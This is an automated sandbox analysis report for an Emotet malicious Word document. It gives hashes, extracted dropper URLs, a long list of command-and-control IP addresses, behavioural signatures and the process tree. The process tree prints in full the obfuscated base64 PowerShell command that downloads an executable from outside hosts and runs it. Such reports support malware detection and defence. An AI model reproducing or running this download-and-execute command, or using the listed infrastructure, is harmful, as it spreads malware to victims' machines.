Analysis
- max time kernel
136s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
14/10/2020, 22:36
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_89a7221256e253cd0904a91ca49c1c82118be9cdac76b21a6735eae4871ab400_2020-10-14__223434947027._doc.doc
Resource
win7v200722
General
- Target emotet_e2_89a7221256e253cd0904a91ca49c1c82118be9cdac76b21a6735eae4871ab400_2020-10-14__223434947027._doc.doc
- Size 128KB
- Sample201014-jh8gpr3gre
- SHA256 89a7221256e253cd0904a91ca49c1c82118be9cdac76b21a6735eae4871ab400
- MD5 36e12f92814630bddede717f44b1cfd7
- SHA1 d7340e9709522afd2331649cd657f3ae4c3fb68d
- SHA512 452a92844d96536296d68adccd6ec94bdd27795903b01e7402655ff8e4acd57fb496f00a161fc353e4afe547d1136132d89964b4f935a6530bc780d51d36b87a
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://savetheboom.com/admin_access/xht/
-
exe.dropper
https://dakwahwisata.net/wp-admin/c/
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exe.dropper
https://popcornv.com/wp-includes/KHKX/
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exe.dropper
https://dusitserve.com/gethits/o3A/
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exe.dropper
https://asc-kl.com/v2/Ztf/
-
exe.dropper
http://gaashaan.com/cgi-bin/O/
-
exe.dropper
http://inmaainv.com/site/cLDOJFI/
Extracted
-
emotet
-
Epoch2
-
47.36.140.164:80
-
169.50.76.149:8080
-
162.241.140.129:8080
-
104.131.123.136:443
-
95.213.236.64:8080
-
130.0.132.242:80
-
123.176.25.234:80
-
46.105.131.79:8080
-
157.245.99.39:8080
-
79.98.24.39:8080
-
49.50.209.131:80
-
72.143.73.234:443
-
50.91.114.38:80
-
89.216.122.92:80
-
5.39.91.110:7080
-
121.124.124.40:7080
-
71.72.196.159:80
-
5.196.74.210:8080
-
139.162.108.71:8080
-
61.19.246.238:443
-
91.211.88.52:7080
-
120.150.60.189:80
-
137.59.187.107:8080
-
139.59.60.244:8080
-
124.41.215.226:80
-
194.187.133.160:443
-
50.35.17.13:80
-
75.139.38.211:80
-
96.249.236.156:443
-
78.188.106.53:443
-
62.75.141.82:80
-
190.108.228.27:443
-
218.147.193.146:80
-
94.23.237.171:443
-
139.162.60.124:8080
-
96.245.227.43:80
-
174.106.122.139:80
-
113.61.66.94:80
-
93.147.212.206:80
-
203.153.216.189:7080
-
104.131.11.150:443
-
94.200.114.161:80
-
87.106.136.232:8080
-
69.206.132.149:80
-
172.91.208.86:80
-
110.145.77.103:80
-
188.219.31.12:80
-
71.15.245.148:8080
-
121.7.31.214:80
-
97.82.79.83:80
-
42.200.107.142:80
-
185.94.252.104:443
-
168.235.67.138:7080
-
91.146.156.228:80
-
24.137.76.62:80
-
87.106.139.101:8080
-
5.196.108.189:8080
-
194.4.58.192:7080
-
110.142.236.207:80
-
24.179.13.119:80
-
75.143.247.51:80
-
172.104.97.173:8080
-
216.139.123.119:80
-
118.83.154.64:443
-
74.208.45.104:8080
-
142.112.10.95:20
-
109.74.5.95:8080
-
104.131.44.150:8080
-
37.139.21.175:8080
-
139.99.158.11:443
-
220.245.198.194:80
-
140.186.212.146:80
-
78.24.219.147:8080
-
176.111.60.55:8080
-
37.187.72.193:8080
-
162.241.242.173:8080
-
209.141.54.221:8080
-
108.46.29.236:80
-
103.86.49.11:8080
-
174.45.13.118:80
-
68.252.26.78:80
-
62.30.7.67:443
-
134.209.36.254:8080
-
120.150.218.241:443
-
79.137.83.50:443
-
85.25.106.204:8080
-
186.74.215.34:80
-
80.241.255.202:8080
-
24.43.32.186:80
-
76.175.162.101:80
-
190.240.194.77:443
-
47.144.21.12:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 552 3196 POwersheLL.exe 73 - Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1540-13-0x0000000002150000-0x000000000216F000-memory.dmp emotet behavioral2/memory/1540-14-0x0000000002170000-0x000000000218E000-memory.dmp emotet - Blacklisted process makes network request 2 IoCs
flow pid Process 14 552 POwersheLL.exe 16 552 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1540 T1_1hl2u.exe 3000 pdhui.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\cmgrcspps\pdhui.exe T1_1hl2u.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 352 WINWORD.EXE 352 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 552 POwersheLL.exe 552 POwersheLL.exe 552 POwersheLL.exe 3000 pdhui.exe 3000 pdhui.exe 3000 pdhui.exe 3000 pdhui.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 552 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 352 WINWORD.EXE 352 WINWORD.EXE 352 WINWORD.EXE 352 WINWORD.EXE 352 WINWORD.EXE 352 WINWORD.EXE 352 WINWORD.EXE 352 WINWORD.EXE 352 WINWORD.EXE 1540 T1_1hl2u.exe 3000 pdhui.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 552 wrote to memory of 1540 552 POwersheLL.exe 81 PID 552 wrote to memory of 1540 552 POwersheLL.exe 81 PID 552 wrote to memory of 1540 552 POwersheLL.exe 81 PID 1540 wrote to memory of 3000 1540 T1_1hl2u.exe 82 PID 1540 wrote to memory of 3000 1540 T1_1hl2u.exe 82 PID 1540 wrote to memory of 3000 1540 T1_1hl2u.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_89a7221256e253cd0904a91ca49c1c82118be9cdac76b21a6735eae4871ab400_2020-10-14__223434947027._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:352
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABMAGcAMwBiAHYAOQBlAD0AWwBjAGgAYQByAF0ANAAyADsAJABMAHgAaQB2AG8AZgA4AD0AKAAnAEYAbwAnACsAKAAnAGUAOAA4ACcAKwAnADcAaQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBwAHIATwBGAGkAbABlAFwAWgBkADUANQAzAEMATABcAEoATABGADcASQBBAHIAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAYABSAEkAVABgAHkAYABwAHIATwBgAFQATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADIALAAnACsAJwAgACcAKQArACcAdABsACcAKwAoACcAcwAxADEALAAnACsAJwAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUQB6ADEAeQB5ADAAeAAgAD0AIAAoACgAJwBUACcAKwAnADEAXwAnACkAKwAnADEAJwArACgAJwBoAGwAMgAnACsAJwB1ACcAKQApADsAJABRAGwAbQA0ADIANABwAD0AKAAnAE4AJwArACgAJwB3ADAAJwArACcAMQB1ACcAKQArACcAZgA2ACcAKQA7ACQAUAA3AGkAXwA1AGIAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBaACcAKwAoACcAZAA1ACcAKwAnADUAJwApACsAJwAzAGMAJwArACcAbAB7ACcAKwAnADAAfQAnACsAJwBKAGwAZgA3AGkAYQByAHsAMAB9ACcAKQAtAEYAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFEAegAxAHkAeQAwAHgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABZAHcAbgA5AG8AZwByAD0AKAAnAE4AZQAnACsAJwB0ACcAKwAoACcAYgAyACcAKwAnAGIAZgAnACkAKQA7ACQAVABrAGUAMgAyAHIAYQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAQgBjAGwAaQBlAG4AVAA7ACQASAB1AGYANgBrAGQANQA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvAHMAYQB2AGUAJwArACcAdABoAGUAJwApACsAKAAnAGIAJwArACcAbwBvAG0AJwArACcALgBjAG8AJwArACcAbQAvAGEAJwApACsAKAAnAGQAJwArACcAbQAnACsAJwBpAG4AJwArACcAXwBhAGMAYwBlAHMAcwAvAHgAJwArACcAaAAnACkAKwAnAHQALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBkAGEAawB3AGEAJwArACcAaAB3ACcAKQArACgAJwBpAHMAJwArACcAYQB0ACcAKQArACcAYQAuACcAKwAoACcAbgAnACsAJwBlAHQALwB3ACcAKQArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAJwArACcAbgAvACcAKwAnAGMAJwArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAcwA6AC8AJwArACcALwBwAG8AcAAnACsAJwBjAG8AcgBuAHYAJwArACcALgBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACgAJwB3ACcAKwAnAHAALQBpAG4AJwApACsAKAAnAGMAJwArACcAbAB1AGQAZQBzAC8ASwBIACcAKwAnAEsAJwApACsAJwBYACcAKwAoACcALwAqAGgAdAB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBkAHUAcwAnACkAKwAoACcAaQAnACsAJwB0AHMAZQByACcAKQArACcAdgBlACcAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAZwBlACcAKwAoACcAdAAnACsAJwBoAGkAdABzACcAKQArACgAJwAvAG8AMwAnACsAJwBBACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAGEAcwBjAC0AJwArACcAawAnACkAKwAoACcAbAAuACcAKwAnAGMAbwBtAC8AdgAyACcAKwAnAC8AWgB0AGYALwAnACsAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8ALwAnACsAKAAnAGcAYQAnACsAJwBhAHMAaAAnACkAKwAoACcAYQAnACsAJwBhAG4ALgAnACkAKwAoACcAYwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAJwArACcAaQBuACcAKQArACcALwAnACsAKAAnAE8AJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AaQBuACcAKQArACgAJwBtAGEAJwArACcAYQAnACkAKwAoACcAaQBuAHYALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHMAaQB0AGUAJwArACcALwBjAEwARABPACcAKQArACgAJwBKAEYAJwArACcASQAvACcAKQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABMAGcAMwBiAHYAOQBlACkAOwAkAFIAZwAyADYAdQBkAHIAPQAoACgAJwBTACcAKwAnAGgAcABqAGoAJwApACsAJwA5AGgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVgA1AHAAdgBkAHkAOQAgAGkAbgAgACQASAB1AGYANgBrAGQANQApAHsAdAByAHkAewAkAFQAawBlADIAMgByAGEALgAiAEQATwB3AG4AYABsAGAATwBBAEQARgBgAGkATABFACIAKAAkAFYANQBwAHYAZAB5ADkALAAgACQAUAA3AGkAXwA1AGIAZQApADsAJABEAHQAagB6AG8AdwBfAD0AKAAnAFYAJwArACcAaQBrACcAKwAoACcAeAAnACsAJwBqAG8AMAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJABQADcAaQBfADUAYgBlACkALgAiAEwAYABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADkAMAA5ADgAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUAA3AGkAXwA1AGIAZQApADsAJABDAGIAbgBvAGEAeAA2AD0AKAAnAFQAaQAnACsAJwBoACcAKwAoACcAMwBoADUAJwArACcAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQAWgA3AGgAMwBxAHIAYgA9ACgAKAAnAEgAYQBsACcAKwAnADQAJwApACsAJwA1AG4AJwArACcAbQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkANABoADgANQBmAGYAPQAoACcASwB1ACcAKwAnAHgAJwArACgAJwBvADQAJwArACcAegB3ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Users\Admin\Zd553cl\Jlf7iar\T1_1hl2u.exe"C:\Users\Admin\Zd553cl\Jlf7iar\T1_1hl2u.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Windows\SysWOW64\cmgrcspps\pdhui.exe"C:\Windows\SysWOW64\cmgrcspps\pdhui.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3000
-
-